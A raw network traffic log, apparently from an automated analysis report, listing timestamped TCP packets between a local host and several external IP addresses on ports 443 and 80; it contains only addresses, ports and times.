Apr 28, 2025 13:24:10.953912020 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.953922987 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.953947067 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954041958 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954056978 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954101086 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954106092 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954143047 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954176903 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954191923 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954220057 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954225063 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954241037 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954433918 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954453945 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954468966 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954473019 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954482079 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954514027 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954531908 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954551935 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954579115 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954583883 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954592943 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954618931 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954773903 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954788923 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954827070 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954835892 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954870939 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.954943895 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.954962969 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955003023 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955008984 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955024004 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955044031 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955059052 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955075026 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955101967 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955106974 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955133915 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955141068 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955250025 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955265045 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955307961 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955312967 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955348969 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955357075 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955372095 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955399036 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955403090 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955426931 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955440998 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955499887 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955519915 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955555916 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955562115 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955579996 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955593109 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955596924 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955606937 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955638885 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955661058 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955666065 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955678940 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955720901 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955869913 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955882072 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:10.955895901 CEST	49686	443	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:10.955900908 CEST	443	49686	23.186.113.60	192.168.2.6
Apr 28, 2025 13:24:13.433902025 CEST	49678	443	192.168.2.6	20.42.65.91
Apr 28, 2025 13:24:13.743891001 CEST	49678	443	192.168.2.6	20.42.65.91
Apr 28, 2025 13:24:14.181351900 CEST	49672	443	192.168.2.6	204.79.197.203
Apr 28, 2025 13:24:14.353260994 CEST	49678	443	192.168.2.6	20.42.65.91
Apr 28, 2025 13:24:15.556530952 CEST	49678	443	192.168.2.6	20.42.65.91
Apr 28, 2025 13:24:17.962647915 CEST	49678	443	192.168.2.6	20.42.65.91
Apr 28, 2025 13:24:22.775182009 CEST	49678	443	192.168.2.6	20.42.65.91
Apr 28, 2025 13:24:23.395124912 CEST	49691	80	192.168.2.6	192.178.49.195
Apr 28, 2025 13:24:23.543862104 CEST	80	49691	192.178.49.195	192.168.2.6
Apr 28, 2025 13:24:23.543953896 CEST	49691	80	192.168.2.6	192.178.49.195
Apr 28, 2025 13:24:23.544055939 CEST	49691	80	192.168.2.6	192.178.49.195
Apr 28, 2025 13:24:23.691911936 CEST	80	49691	192.178.49.195	192.168.2.6
Apr 28, 2025 13:24:23.692045927 CEST	80	49691	192.178.49.195	192.168.2.6
Apr 28, 2025 13:24:23.743896008 CEST	49691	80	192.168.2.6	192.178.49.195
Apr 28, 2025 13:24:23.790813923 CEST	49672	443	192.168.2.6	204.79.197.203
Apr 28, 2025 13:24:24.956090927 CEST	49685	80	192.168.2.6	23.186.113.60
Apr 28, 2025 13:24:32.384563923 CEST	49678	443	192.168.2.6	20.42.65.91
Apr 28, 2025 13:24:34.089633942 CEST	49693	443	192.168.2.6	207.241.224.2
Apr 28, 2025 13:24:34.089669943 CEST	443	49693	207.241.224.2	192.168.2.6
Apr 28, 2025 13:24:34.089772940 CEST	49693	443	192.168.2.6	207.241.224.2
Apr 28, 2025 13:24:34.155275106 CEST	49693	443	192.168.2.6	207.241.224.2
Apr 28, 2025 13:24:34.155302048 CEST	443	49693	207.241.224.2	192.168.2.6
Apr 28, 2025 13:24:34.488488913 CEST	443	49693	207.241.224.2	192.168.2.6
Apr 28, 2025 13:24:34.488612890 CEST	49693	443	192.168.2.6	207.241.224.2
Apr 28, 2025 13:24:34.490329027 CEST	49693	443	192.168.2.6	207.241.224.2
Apr 28, 2025 13:24:34.490341902 CEST	443	49693	207.241.224.2	192.168.2.6
Apr 28, 2025 13:24:34.490679979 CEST	443	49693	207.241.224.2	192.168.2.6
Apr 28, 2025 13:24:34.501033068 CEST	49693	443	192.168.2.6	207.241.224.2
Apr 28, 2025 13:24:34.544270992 CEST	443	49693	207.241.224.2	192.168.2.6
Apr 28, 2025 13:24:34.814253092 CEST	443	49693	207.241.224.2	192.168.2.6
Apr 28, 2025 13:24:34.814347029 CEST	49693	443	192.168.2.6	207.241.224.2
Apr 28, 2025 13:24:34.814361095 CEST	443	49693	207.241.224.2	192.168.2.6
Apr 28, 2025 13:24:34.814394951 CEST	443	49693	207.241.224.2	192.168.2.6
Apr 28, 2025 13:24:34.814450026 CEST	49693	443	192.168.2.6	207.241.224.2
Apr 28, 2025 13:24:34.834913015 CEST	49693	443	192.168.2.6	207.241.224.2
Apr 28, 2025 13:24:35.020543098 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.020582914 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.020664930 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.021200895 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.021212101 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.356107950 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.356260061 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.358362913 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.358386040 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.358658075 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.359546900 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.404272079 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.835108995 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.835136890 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.835154057 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.835333109 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.835357904 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.835371017 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.835448027 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997055054 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997080088 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997126102 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997145891 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997159958 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997160912 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997194052 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997200966 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997216940 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997251034 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997257948 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997277021 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997311115 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997363091 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997383118 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997415066 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997421980 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997458935 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997513056 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997579098 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997594118 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997632980 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997639894 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:35.997665882 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:35.997684956 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.161190987 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.161228895 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.161323071 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.161349058 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.161371946 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.161390066 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.161802053 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.161833048 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.161878109 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.161887884 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.161901951 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.161941051 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.162568092 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.162585020 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.162641048 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.162648916 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.162689924 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.162893057 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.162911892 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.162966013 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.162976980 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.162995100 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.163028002 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.163388968 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.163405895 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.163456917 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.163464069 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.163516045 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.163528919 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.163546085 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.163600922 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.163608074 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.163625956 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.163642883 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.164180994 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.164196968 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.164246082 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.164258003 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.164303064 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.164345026 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.164361954 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.164392948 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.164398909 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.164424896 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.164448023 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.321335077 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.321360111 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.321475983 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.321494102 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.321548939 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.322046041 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.322062016 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.322125912 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.322133064 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.322177887 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.322258949 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.322285891 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.322316885 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.322323084 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.322357893 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.322380066 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.322387934 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.322405100 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.322449923 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.322455883 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.322489023 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.322511911 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.323074102 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.323091030 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.323148012 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.323153973 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.323194027 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.323206902 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.323223114 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.323262930 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.323271036 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.323295116 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.323317051 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.323731899 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.323748112 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.323812962 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.323818922 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.323872089 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.324057102 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.324075937 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.324131012 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.324136972 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.324193954 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.324316978 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.324333906 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.324387074 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.324393034 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.324431896 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.325267076 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.325303078 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.325326920 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.325334072 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.325366974 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.325385094 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.325690031 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.325706005 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.325766087 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.325773001 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.325814009 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.326035023 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326054096 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326101065 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.326107979 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326153994 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.326262951 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326277971 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326325893 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.326333046 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326375961 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.326455116 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326471090 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326518059 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.326524973 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326570034 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.326798916 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326813936 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326850891 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.326855898 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326885939 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.326906919 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.326955080 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.326971054 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.327013016 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.327019930 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.327043056 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.327066898 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.481842995 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.481873989 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.481988907 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.482017994 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.482069969 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.482156992 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.482177019 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.482230902 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.482239008 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.482275963 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.482306957 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.483270884 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.483289003 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.483364105 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.483372927 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.483422041 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.484006882 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.484034061 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.484069109 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.484076023 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.484106064 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.484118938 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.484730959 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.484750986 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.484798908 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.484807014 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.484848976 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.485011101 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.485028028 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.485081911 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.485090971 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.485131979 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.485326052 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.485361099 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.485388994 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.485394955 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.485420942 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.485435963 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.485574961 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.485591888 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.485646009 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.485651970 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.485692978 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.486249924 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.486264944 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.486314058 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.486320972 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.486347914 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.486370087 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.486777067 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.486797094 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.486840010 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.486846924 CEST	443	49694	207.241.233.30	192.168.2.6
